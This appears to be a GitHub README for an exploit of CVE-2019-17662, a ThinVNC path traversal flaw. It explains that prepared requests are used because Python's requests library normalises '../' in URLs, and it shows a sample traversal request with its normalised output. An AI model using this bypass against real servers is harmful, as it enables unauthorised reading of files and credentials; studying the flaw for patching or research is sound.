bl4ck574r/cve-2019-17662Exploit for CVE-2019-17662, a path traversal vulnerability in ThinVNC, demonstrating URL normalization bypass to access arbitrary files on the target server.
Modified the CVE code
Used Prepared Requests, as in python3 requests module normalize the ../ in URL such as:
For code:
r = requests.get("http://123.123.123.123/../../../../../../test")
print(str(r.status_code))
Results in:
GET /test HTTP/1.1
Host: 123.123.123.123
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0
Original Exploit:
https://www.exploit-db.com/exploits/47519